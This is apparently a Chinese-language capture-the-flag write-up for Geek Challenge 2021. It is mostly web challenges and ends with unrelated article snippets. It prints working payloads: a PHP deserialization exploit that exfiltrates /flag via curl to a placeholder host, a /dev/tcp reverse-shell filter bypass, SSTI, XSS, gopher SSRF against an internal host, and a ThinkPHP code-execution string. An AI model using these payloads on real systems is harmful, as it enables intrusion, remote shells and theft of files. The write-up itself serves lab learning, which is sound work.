极客大挑战 2021
题量很大,收获挺多,持续时间也长,据说结束之后会再持续一段时间,然后题目会开源。
WEB
Dark
暗网签到,难以置信
Welcome2021
改个请求方法会提示你文件,再进去就好了
babysql
直接把请求包扔sqlmap里,跑就完事了
sqlmap -r sql.txt -D flag -T fllag -C fllllllag --dump
babyPOP
题目:
<?php
class a {public static $Do_u_like_JiaRan = false;public static $Do_u_like_AFKL = false;
}class b {private $i_want_2_listen_2_MaoZhongDu;public function __toString(){if (a::$Do_u_like_AFKL) {return exec($this->i_want_2_listen_2_MaoZhongDu);} else {throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");}}
}class c {public function __wakeup(){a::$Do_u_like_JiaRan = true;}
}class d {public function __invoke(){a::$Do_u_like_AFKL = true;return "关注嘉然," . $this->value;}
}class e {public function __destruct(){if (a::$Do_u_like_JiaRan) {($this->afkl)();} else {throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");}}
}if (isset($_GET['data'])) {unserialize(base64_decode($_GET['data']));
} else {highlight_file(__FILE__);
}
很简单的pop链,链子很好构造,我最初的想法是:
调用exec,就要a::$Do_u_like_AFKL=true
,全局中只有利用d类的invoke才行,调用toString需要把对象当作字符串用,刚好也在invoke里,如何调用invoke?e类的destruct就可以了,我之前是如何调用destruct的呢?我通常把这个类对象复制一份,再把原先那个unset,序列化原对象的副本就好了,但这个方法一般只适用于destruct为链子第一段,但这题不一样,需要满足里面的if语句,欲使a::$Do_u_like_JiaRan=true
就要经过c类的wakeup,这里我刚开始就不会了。c怎么和e连起来?
这是最早的坎,还是那句话,太菜了
后来彻查destruct用法,又了解了显式销毁与隐式销毁后才明白destruct不只直接销毁调用。这里挂一下destruct与显隐销毁定义:
__destruct(析构函数)当某个对象成为垃圾或者当对象被显式销毁时执行
显式销毁,当对象没有被引用时就会被销毁,所以我们可以unset或为其赋值NULL
隐式销毁,PHP是脚本语言,在代码执行完最后一行时,所有申请的内存都要释放掉
所以当我们定义一个不存在的变量,再把这个变量创建为目标类的实例就好,因为这个对象本来就不存在,所以满足没有任何引用即满足destruct调用条件。
链子可以连起来了,那就没什么思路问题了,注意b里的私有属性,在b里改就行。
exp:
<?php
class b {private $i_want_2_listen_2_MaoZhongDu;public function __construct(){$this->i_want_2_listen_2_MaoZhongDu="curl http://xxx.xxx.xxx.xxx:xxxx/`base64 /flag`";}
}class c {public $cv;public function __construct(){$this->cv=new e();}
}class d {public $value;public function __construct(){$this->value=new b();}
}class e {public $afkl;public function __construct(){$this->afkl=new d();}
}$a=new c();
echo(base64_encode(serialize($a)));
这里还涉及一个无回显获取flag。当我们在exec里外带时发现有字符长度限制,使用base64带出,发现全是小写无法解密。这里写个脚本用于执行payload:
import requests
import base64while 1:com = str(input('>>'))a = 'O:1:"c":1:{s:2:"cv";O:1:"e":1:{s:4:"afkl";O:1:"d":1:{s:5:"value";O:1:"b":1:{' \'s:31:"\x00b\x00i_want_2_listen_2_MaoZhongDu";s:%s:"%s";}}}}' % (len(com), com)data = base64.b64encode(a.encode())b = requests.get('http://1.14.102.22:8114/?data=%s' % data)print(a)print(b.text)
在DNSlog里外带,但是我这里不知道是不是因为linux的原因,No Data
放一个朋友的
采用反弹shell发现弹不了不知道为啥。所以这里采用curl http://公网ip:端口/base64 /flag
的方法。
这里进行反弹直接请求包解码出flag
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GNUMHnLX-1675906165629)(https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/2021_geek_challenge_web_babypop_3.png)]
where_is_my_FUMO
这题正向连接,也不知道是不是这么叫,反正这个箭头很有讲究,参考链接
题目:
<?php
function chijou_kega_no_junnka($str) {$black_list = [">", ";", "|", "{", "}", "/", " "];return str_replace($black_list, "", $str);
}if (isset($_GET['DATA'])) {$data = $_GET['DATA'];$addr = chijou_kega_no_junnka($data['ADDR']);$port = chijou_kega_no_junnka($data['PORT']);exec("bash -c \"bash -i < /dev/tcp/$addr/$port\"");
} else {highlight_file(__FILE__);
}
因为过滤空格,所以使用tab绕过
payload:DATA[ADDR]=ip&DATA[PORT]=port%091<%260
反弹成功后,flag居然是一张图片,那就只能二进制读取或者base了,而且终端有长度限制,所以使用tail与head截取
cat /flag.png | base64 | tail -n +1|head -n 8000
cat /flag.png | base64 | tail -n +8001|head -n 8000
每次读8000行,读两次,把读取到的base64编码转为图片就好了
babyphp
注释–>robots.txt–>noobcurl.php
<?php
function ssrf_me($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);curl_close($ch);echo $output;
}if(isset($_GET['url'])){ssrf_me($_GET['url']);
}
else{highlight_file(__FILE__);echo "<!-- 有没有一种可能,flag在根目录 -->";
}
尝试file://伪协议读取?url=file:///flag
出现flag
babyPy
最基础的SSTI,但我对这个python web不太了解,所以边百度边学的,放个链接
蒙的flag文件名
payload:{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__['__builtins__'].open('flag').read()}}
蜜雪冰城甜蜜蜜
说要买到第9号饮料,F12打开每个饮料都有一个id,随便找一个改成9,再点击这个商品就出flag了
雷克雅未克
恭喜EDG在冰岛雷克雅未克获得英雄联盟S11全球总决赛冠军!
这题很蠢,先看Cookie,查了自己经纬度,发现它把经度设置为y,纬度设置为x
那我查到雷克雅未克直接改Cookie不就行了吗,它验证的时候却反过来,x是经度,y是纬度
还有这题是改check.php的包,添加X-Forwarded-For: 5.23.95.255,Cookie: x=64.963943; y=-19.02116,回返回jsfuck代码
直接控制台打印就行
人民艺术家
用它给的帐号密码登录,抓返回包,发现有个JWT,放jwt.io里,改成如下
我也不知道怎么获得密钥,朋友和我说的爆破出1234,离大谱,把改好的发包过去即可看到文件名
访问即得flag
babyxss
直接闭合后面的符号,然后双写绕过
payload:'");</script>';}<script>alealertrt(1)</script>
Baby_PHP_Black_Magic_Enlightenment
套套套套套套套
第一层
PHP is the best Language
Have you ever heard about PHP Black Magic
<?php
echo "PHP is the best Language <br/>";
echo "Have you ever heard about PHP Black Magic<br/>";
error_reporting(0);
$temp = $_GET['password'];
is_numeric($temp)?die("no way"):NULL;
if($temp>9999){echo file_get_contents('./2.php');echo "How's that possible";
}
highlight_file(__FILE__);
//Art is long, but life is short. So I use PHP.
//I think It`s So useful that DiaoRen Said;
//why not they use their vps !!!
//BBTZ le jiarenmen?>
去了解一下is_numeric就可以了,payload:?password=10000a
,提示居然在注释里,我找了好久
第二层
Just g1ve it a try. <?php
error_reporting(0);$flag=getenv('flag');
if (isset($_GET['user']) and isset($_GET['pass']))
{if ($_GET['user'] == $_GET['pass'])echo 'no no no no way for you to do so.';else if (sha1($_GET['user']) === sha1($_GET['pass']))die('G1ve u the flag'.$flag);elseecho 'not right';
}
elseecho 'Just g1ve it a try.';
highlight_file(__FILE__);
?>
直接数组绕过就好了
payload:?user[]=a&pass[]=b
获得的flagbaby_revenge.php,进入第三层去掉flag访问baby_revenge.php
第三层
Just G1ve it a try. <?php
error_reporting(0);$flag=getenv('fllag');
if (isset($_GET['user']) and isset($_GET['pass']))
{if ($_GET['user'] == $_GET['pass'])echo 'no no no no way for you to do so.';else if(is_array($_GET['user']) || is_array($_GET['pass']))die('There is no way you can sneak me, young man!');else if (sha1($_GET['user']) === sha1($_GET['pass'])){echo "Hanzo:It is impossible only the tribe of Shimada can controle the dragon<br/>";die('Genji:We will see again Hanzo'.$flag.'<br/>');}elseecho 'Wrong!';
}elseecho 'Just G1ve it a try.';
highlight_file(__FILE__);
?>
//刚才大意了 没有检测数组就让你执行了sha1函数 不讲武德 来偷袭 这下我修复了看你还能怎么办 🤡 //刚才大意了 没有检测数组就让你执行了sha1函数 不讲武德 来偷袭 这下我修复了看你还能怎么办 🤡
这里我直接用的sha1碰撞
payload:
?user=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&pass=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
我本地php测试发现他俩是不一样的,网上其他博主发的碰撞在我本地也显示也不一样,但是在这个靶机里这俩sha1一样,奇怪,根据提示访问here_s_the_flag.php进入第四层
第四层
<?php
$flag=getenv('flllllllllag');
if(strstr("Longlone",$_GET['id'])) {echo("no no no!<br>");exit();
}$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "Longlone")
{echo "flag: $flag";
}
highlight_file(__FILE__);
?>
这题刚开始也不会后来想起来在xctf做过一题,url二次编码,浏览器还是啥本身接收了一串url就会url解码一遍了,所以编码一次过不了第一个if,编码两次就可以了,后面会再解码一次的。
payload:?id=%254c%256f%256e%2567%256c%256f%256e%2565
即得flag
期末不挂科就算成功
注释里发现debug.php,访问它
发现url是传入文件,我们传入index.php,会直接显示渲染过的index.php页面,所以使用php伪协议用base64读取index.php源码
payload:?file=php://filter/convert.base64-encode/resource=index.php
记住不要直接从F12里复制base,它会省略一部分base,导致解码后显示不全代码,完整解码后有以下php代码:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
//你当前位于学校172.17.0.0/24网段下 其实还有台机子里面可以修改成绩 我偷偷告诉你password是123456,name是admin,//result必须要改成60 不然学校会查的!!!
?>
很明显了,index.php传url,好像也没ban什么,这里采用gopher最强协议修改成绩,但在这之前我们需要知道内网的主机有哪些,可以爆破,但我这里查看/proc/net/arp和/etc/hosts两个文件。
两个文件里把在172.17.0.0/24网段下的拎出来
172.17.0.6 5769d2ff2afcIP address HW type Flags HW address Mask Device
172.17.0.242 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.233 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.246 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.237 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.229 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.249 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.253 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.232 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.241 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.236 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.245 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.248 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.252 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.235 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.7 0x1 0x2 02:42:ac:11:00:07 * eth0
172.17.0.240 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.239 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.244 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.231 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.251 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.255 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.234 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.243 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.238 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.247 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.230 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.250 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.254 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.1 0x1 0x2 02:42:02:bf:e7:e3 * eth0
这里去掉没硬件地址的,也就那几个,试一试就发现了,毕竟172.17.0.7开了80端口,然后去百度怎么利用gopher传post值,为什么是post,因为get我没试出来,而且传账密这种东西一般就是post,记住ssrf要url二次编码
payload:
?url=%67%6f%70%68%65%72%3a%2f%2f%31%37%32%2e%31%37%2e%30%2e%37%3a%38%30%2f%5f%50%4f%53%54%25%32%30%2f%69%6e%64%65%78%2e%70%68%70%25%32%30%48%54%54%50%2f%31%2e%31%25%30%44%25%30%41%48%6f%73%74%25%33%41%25%32%30%31%37%32%2e%31%37%2e%30%2e%37%25%33%41%38%30%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%54%79%70%65%25%33%41%25%32%30%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%25%33%41%25%32%30%33%36%25%30%44%25%30%41%25%30%44%25%30%41%6e%61%6d%65%25%33%44%61%64%6d%69%6e%25%32%36%70%61%73%73%77%6f%72%64%25%33%44%31%32%33%34%35%36%25%32%36%72%65%73%75%6c%74%25%33%44%36%30%25%30%44%25%30%41
出flag
成全
payload:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=/flag
刚开始一条命令直接出,后来改题目了,复现的时候没做出来
RE
PWN
恋爱小游戏
连上就是shell
CRYPTO
MISC
In the Air
人家学校里才能做,好兄弟发的
easysend
领取以太坊测试币,发过去就行了
这是什么命令
Intro && Hint: 命令执行的vps ip为 110.42.233.91 执行的命令 cat flag.png | base64 | base64 | tac | nl | sort -k 2 > flag.txt ;rm -f flag.png & nohup php -S 0.0.0.0:2333 >> /dev/null 2>&1 &
分开来分析
第一部分cat flag.png | base64 | base64 | tac | nl | sort -k 2 > flag.txt
tac:文件内容倒序输出
nl:输出文件内容并加上行号
sort -k 2:将内容从a-z排序后输出
所以第一条命令的含义就是将flag.png两次base64的值倒序后按A-Z加上行号输出至flag.txt
第二部分rm -f flag.png & nohup php -S 0.0.0.0:2333 >> /dev/null 2>&1 &
rm -r:删除文件
nohup:不挂断地运行命令
php -S:启动内置的web服务器
所以第二条命令的含义是删除图片,并在后台不间断的运行web服务器,端口为2333
直接访问http://110.42.233.91:2333/flag.txt,拿到数据直接上脚本
f=open('2333.txt')
d=f.readlines()
e=['']*500
import base64
for i in d:ca=i.strip().split()print(base64.b64decode(ca[1]))e[int(ca[0])]=base64.b64decode(ca[1])
f=open('2333.png','wb')f.write(base64.b64decode(''.join(e[::-1])))
f.close()
print('ok')
flag在生成的图片里
其他的去好兄弟这里看吧
相关文章:

极客大挑战 2021
题量很大,收获挺多,持续时间也长,据说结束之后会再持续一段时间,然后题目会开源。 WEB Dark 暗网签到,难以置信 Welcome2021 改个请求方法会提示你文件,再进去就好了 babysql 直接把请求包扔sqlmap里&…...
C#开发的OpenRA加载文件的管理
C#开发的OpenRA加载文件的管理 在前面我们分析了mod.yaml文件,发现里面有很多文件列表, 比如下像下面的文件: Packages: ~^SupportDir|Content/cnc ~^SupportDir|Content/cnc/movies ^EngineDir $cnc: cnc ^EngineDir|mods/common: common ~speech.mix ~conquer.mix ~sounds…...
SSM实现文件上传
目录 SSM实现文件上传 1、修改from表单请求方式改为post,添加属性 2、修改springmvc配置文件,添加一下配置 3、后端方法 SSM实现文件上传 1、修改from表单请求方式改为post,添加属性: enctype"multipart/form-data"…...
OPENCV计算机视觉开发实践-图像的基本概念
1.图像与图形: 图像->客观世界的反映,图与像之结合 图->物体透射光与反射光的分布 像->人的视觉得对图的认识 图像->通过照相,摄像,扫描产生. 图形->通过数学规则产生,或者具有一定规则的图案.用一组符号或线条表示性质. 2.数字图像: 数字图像->称数码图像或…...
Android 9.0 ResolverActivity.java多个app选择界面去掉始终保留仅有一次
1.前言 在9.0的系统rom定制化开发过程中,在系统中安装同类型多个app的时候,在系统启动的过程中,会在启动launcher或播放器的过程中,在启动的过程中都是弹出选择框的,然后在选择启动哪个app,这些选择都是在ResolverActivity.java中完成的,所以需要在ResolverActivity.java…...

【算法 | 例题简答】相关例题讲解
目录 简答题 计算题 时间复杂度的计算 递归算法计算 背包问题(0-1背包问题) 回溯法 动态规划法 编程题 用回溯法解方程 动态规划法解决蜘蛛吃蚊子 用分治法解决抛硬币问题 用二分法分两边求最大值 简答题 1、什么是算法?算法有哪…...

浅谈AQS
1.前言 AQS是AbstractQueuedSynchronizer(抽象同步队列)的简写,它是实现同步器的基础组件,并发包下的锁就是通过AQS实现的。作为开发者可能并不会直接用到AQS,但是知道其原理对于架构设计还是很有帮助的。 那为什么说…...

关于服务连接器(Servlet)你了解多少?
Servlet 1 简介 Servlet是JavaWeb最为核心的内容,它是Java提供的一门动态web资源开发技术。 使用Servlet就可以实现,根据不同的登录用户在页面上动态显示不同内容。 Servlet是JavaEE规范之一,其实就是一个接口,将来我们需要定义…...
面对学员的投诉,中创教育是如何处理的?
客户满意度的检测指标是客户的期望值和服务感知之间的差距。当顾客购买商品时,对商品本身和企业的服务都抱有良好的愿望和期盼值,如果这些愿望和要求得不到满足,就会失去心理平衡,由此产生的抱怨和想"讨个说法"的行为&a…...

算法问题——排序算法问题
摘要 查找和排序算法是算法的入门知识,其经典思想可以用于很多算法当中。因为其实现代码较短,应用较常见。所以在面试中经常会问到排序算法及其相关的问题。但万变不离其宗,只要熟悉了思想,灵活运用也不是难事。一般在面试中最常…...

ArcGIS网络分析之构建网络分析数据集(一)
说明: 1. 本文主要用于演示网络分析服务的搭建过程。所以在此不会深入讨论网络分析服务的每一个细节,本文的目的就是让初学者学会使用网络分析服务进行基本的分析(主要针对后续的WEB开发):路径分析,最近设施点分析,以及服务区分析。 2.关于OD成本矩阵分析,多路径配送,…...

微电影的行业痛点有哪些?
微电影全称微型电影,又称微影。是指能够通过互联网新媒体平台传播(几分钟到60分钟不等)的影片,适合在移动状态、短时休闲状态下观看,具有完整故事情节的“微(超短)时”(几分钟-60分钟)放映、“微(超短)周期制作(7-15天…...

spark3.0源码分析-driver-executor心跳机制
前言 driver和executor心跳机制分为两种机制: 1、executor发送心跳机制 2、driver接受心跳机制 至于为何要分为两种,原因是在分布式场景中,服务的稳定性是无法保障的,例如executor宕机后无法发送心跳,故driver端需要…...

数据分析就要选择这款免费报表工具
对于一家企业来说,在日常运营的过程中本身就会产出很多的数据,那么这些数据本身就应该形成报表。可是如果只是选择手工的一种操作,确实需要浪费大量的人力物力。伴随着科技进入到快速发展的阶段,市面上更是出现了很多报表工具可以…...

node学习-3:服务器渲染和客户端渲染
1. 概念 一.服务端渲染,后端嵌套模板,后端渲染模板,SSR(后端把页面组装好) 做好静态页面,动态效果 把前端代码提供给后端,后端则把静态html以及里面的假数据给删除掉 通过模板进行动态生成h…...
LeetCode刷题笔记和周赛题解总目录
之前一段时间一直在刷LeetCode,在上面积累了很多笔记,这些笔记是做题过程中的一些重要积累和心得,现在将它们汇总和总结至此,此博客将不断更新。 刷题笔记(提供md和pdf两种格式可供下载,不断更新) LeetCode刷题笔记 …...

用类比方式学习编程中函数递归(个人理解仅供参考)(内含汉诺塔问题的求解)
目录 1.前言 2.递归的数学模型 3.相关的c语法 4.将递归的数学模型写成编程语言 5.利用类比方法将实际问题的代码写成函数递归的形式 例1: 例2: 6.汉诺塔问题的求解 1.前言 本人在学习函数递归编程方法的过程中,发现用类比的方式学习递归法可帮助我们在各种编…...
【云原生之Docker实战】使用Docker部署Taskover开源个人任务管理工具
【云原生之Docker实战】使用Docker部署Taskover 开源个人任务管理工具 一、Taskover介绍1.Taskover 简介2.Taskover功能二、检查本地docker环境1.检查系统版本2.检查docker版本3.检查docker状态4.检查docker compose版本三、下载Taskover镜像四、部署Taskover应用1.创建安装目录…...
5、SQL编程开发与注意事项
1.1 导入数据 导入测试库: 文档地址: https://dev.mysql.com/doc/employee/en/sakila-structure.html下载地址: https://github.com/datacharmer/test_db导入测试库: mysql -uroot -p -S < employees.sql 1.2 库操作 增:create database test character set utf8;删:d…...

Allegro如何通过视图显示区分动态和静态铜皮操作指导
Allegro如何通过视图显示区分动态和静态铜皮操作指导 用Allegro做PCB设计的时候,通常动态和静态铜皮是无法通过视图显示区分的,只能通过show element查看得知,如下图 左边铜皮是动态铜皮,右边是静态铜皮 但Allegro可以通过一些设置让动静态铜皮以不同效果显示出来 具体操…...

深度学习在微纳光子学中的应用
深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向: 逆向设计 通过神经网络快速预测微纳结构的光学响应,替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…...

多云管理“拦路虎”:深入解析网络互联、身份同步与成本可视化的技术复杂度
一、引言:多云环境的技术复杂性本质 企业采用多云策略已从技术选型升维至生存刚需。当业务系统分散部署在多个云平台时,基础设施的技术债呈现指数级积累。网络连接、身份认证、成本管理这三大核心挑战相互嵌套:跨云网络构建数据…...
HTML 语义化
目录 HTML 语义化HTML5 新特性HTML 语义化的好处语义化标签的使用场景最佳实践 HTML 语义化 HTML5 新特性 标准答案: 语义化标签: <header>:页头<nav>:导航<main>:主要内容<article>&#x…...
Go 语言接口详解
Go 语言接口详解 核心概念 接口定义 在 Go 语言中,接口是一种抽象类型,它定义了一组方法的集合: // 定义接口 type Shape interface {Area() float64Perimeter() float64 } 接口实现 Go 接口的实现是隐式的: // 矩形结构体…...

IT供电系统绝缘监测及故障定位解决方案
随着新能源的快速发展,光伏电站、储能系统及充电设备已广泛应用于现代能源网络。在光伏领域,IT供电系统凭借其持续供电性好、安全性高等优势成为光伏首选,但在长期运行中,例如老化、潮湿、隐裂、机械损伤等问题会影响光伏板绝缘层…...
全面解析各类VPN技术:GRE、IPsec、L2TP、SSL与MPLS VPN对比
目录 引言 VPN技术概述 GRE VPN 3.1 GRE封装结构 3.2 GRE的应用场景 GRE over IPsec 4.1 GRE over IPsec封装结构 4.2 为什么使用GRE over IPsec? IPsec VPN 5.1 IPsec传输模式(Transport Mode) 5.2 IPsec隧道模式(Tunne…...

使用LangGraph和LangSmith构建多智能体人工智能系统
现在,通过组合几个较小的子智能体来创建一个强大的人工智能智能体正成为一种趋势。但这也带来了一些挑战,比如减少幻觉、管理对话流程、在测试期间留意智能体的工作方式、允许人工介入以及评估其性能。你需要进行大量的反复试验。 在这篇博客〔原作者&a…...

DingDing机器人群消息推送
文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人,点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置,详见说明文档 成功后,记录Webhook 2 API文档说明 点击设置说明 查看自…...

在Mathematica中实现Newton-Raphson迭代的收敛时间算法(一般三次多项式)
考察一般的三次多项式,以r为参数: p[z_, r_] : z^3 (r - 1) z - r; roots[r_] : z /. Solve[p[z, r] 0, z]; 此多项式的根为: 尽管看起来这个多项式是特殊的,其实一般的三次多项式都是可以通过线性变换化为这个形式…...

三分算法与DeepSeek辅助证明是单峰函数
前置 单峰函数有唯一的最大值,最大值左侧的数值严格单调递增,最大值右侧的数值严格单调递减。 单谷函数有唯一的最小值,最小值左侧的数值严格单调递减,最小值右侧的数值严格单调递增。 三分的本质 三分和二分一样都是通过不断缩…...